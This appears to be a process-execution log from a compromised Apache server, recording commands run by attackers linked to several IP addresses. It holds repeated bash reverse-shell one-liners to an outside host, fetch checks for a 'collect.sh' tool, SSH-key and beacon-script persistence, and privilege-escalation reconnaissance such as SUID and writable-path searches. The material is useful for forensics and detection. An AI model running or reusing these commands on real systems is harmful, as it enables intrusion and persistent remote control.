| 2026-10-29 20:13:09 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -c -f collect.sh |
| 2026-10-29 20:14:58 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-29 20:15:05 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-29 20:15:20 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/<REDACTED>-443/meta.tsv |
| 2026-10-29 20:15:20 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af collect.sh |
| 2026-10-29 20:15:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-29 20:15:54 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-29 20:15:54 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/<REDACTED>-443/meta.tsv |
| 2026-10-29 20:15:54 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-29 20:15:54 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/beacon.sh |
| 2026-10-30 02:24:24 | Not attributed | Not attributed | bash -> bash | mkdir -p /var/www/.ssh |
| 2026-10-30 02:24:30 | Not attributed | Not attributed | bash -> bash | chmod +x /tmp/beacon.sh |
| 2026-10-30 02:24:30 | Not attributed | Not attributed | bash -> bash | chmod 600 /var/www/.ssh/authorized_keys |
| 2026-10-30 02:24:30 | Not attributed | Not attributed | bash -> bash | base64 -d |
| 2026-10-30 02:24:30 | Not attributed | Not attributed | bash -> bash | pgrep -f /tmp/beacon.sh |
| 2026-10-31 00:27:47 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | apache2 -> sh | sh -c -- [ -e /tmp/.c1422 ]||{ >/tmp/.c1422;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42425 0>&1' & } |
| 2026-10-31 00:27:47 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | apache2 -> setsid | bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; setsid bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60 ; nohup /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; php -S 0.0.0.0:45454 -t /tmp/probe ; setsid php -S 0.0.0.0:45454 -t /tmp/probe ; php -S 0.0.0.0:45454 -t /tmp/probe ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; dpkg-query --list -- ; dpkg-query --list -- ; dpkg-query --list -- ; dpkg-query --list -- ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60 |
| 2026-10-31 00:28:17 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | bash -i |
| 2026-10-31 00:28:28 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | mkdir -p /var/www/.ssh |
| 2026-10-31 00:28:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | chmod +x /tmp/beacon.sh |
| 2026-10-31 00:28:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -f /tmp/beacon.sh |
| 2026-10-31 00:28:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | base64 -d |
| 2026-10-31 00:28:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | chmod 600 /var/www/.ssh/authorized_keys |
| 2026-10-31 00:31:31 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-31 00:31:39 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /var/www /var/www/html /root /etc/ssh |
| 2026-10-31 00:31:39 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /etc/os-release |
| 2026-10-31 00:31:56 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -l /run/docker.sock |
| 2026-10-31 00:31:56 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | df -h |
| 2026-10-31 00:31:56 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/route |
| 2026-10-31 00:32:02 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find / -maxdepth 2 -writable -not -path /proc/* -not -path /sys/* |
| 2026-10-31 00:32:02 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find / -xdev -maxdepth 3 -type d -perm -0777 -not -path /proc/* -not -path /sys/* |
| 2026-10-31 00:32:02 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www/html |
| 2026-10-31 00:32:08 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find / -xdev -maxdepth 3 -type d -perm -0070 -group www-data -not -path /proc/* |
| 2026-10-31 00:32:08 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /etc/cron.d /etc/apache2 /usr/local/bin /app |
| 2026-10-31 00:32:15 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /etc/cron.d /etc/apache2 /usr/local/bin /app /srv |
| 2026-10-31 00:32:23 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www/html/includes |
| 2026-10-31 00:32:43 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-31 00:33:00 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /etc/cron.d |
| 2026-10-31 00:33:05 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -l /usr/sbin/sshd /usr/bin/ssh |
| 2026-10-31 00:33:05 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find / -xdev -perm -4000 -type f |
| 2026-10-31 00:33:26 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -l /etc/passwd /etc/shadow /etc/group |
| 2026-10-31 00:33:26 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cut -d: -f1,3,6 /etc/passwd |
| 2026-10-31 00:34:07 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -l /etc/passwd /etc/shadow |
| 2026-10-31 00:34:07 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find /usr/bin /usr/sbin /bin -perm -4000 |
| 2026-10-31 00:34:07 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find /usr/bin /usr/sbin /bin -perm -4000 |
| 2026-10-31 00:34:28 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-31 00:34:33 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | find / -xdev -writable -not -path /proc/* -not -path /sys/* -not -path /tmp/* |
| 2026-10-31 00:35:21 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-31 00:35:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /var/cache/apache2/mod_cache_disk /var/log/apache2 /var/tmp |
| 2026-10-31 00:35:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | dpkg -l |
| 2026-10-31 00:35:37 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /run /run/systemd |
| 2026-10-31 00:37:24 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /etc/resolv.conf |
| 2026-10-31 00:39:28 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | apache2 -> apache2 | sh -c -- [ -e /tmp/.c1425 ]||{ >/tmp/.c1425;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42428 0>&1' & } |
| 2026-10-31 00:39:47 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | bash -i |
| 2026-10-31 00:39:47 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | apache2 -> sh | setsid bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; nohup /tmp/beacon.sh ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 |
| 2026-10-31 00:41:01 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | chmod 600 /var/www/.ssh/authorized_keys |
| 2026-10-31 00:41:01 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | mkdir -p /var/www/.ssh |
| 2026-10-31 00:43:21 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | base64 -d |
| 2026-10-31 00:43:21 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | chmod +x /tmp/beacon.sh |
| 2026-10-31 00:43:21 | 185.184.222.160, 206.245.153.56 | 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sent | bash -> bash | sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 |
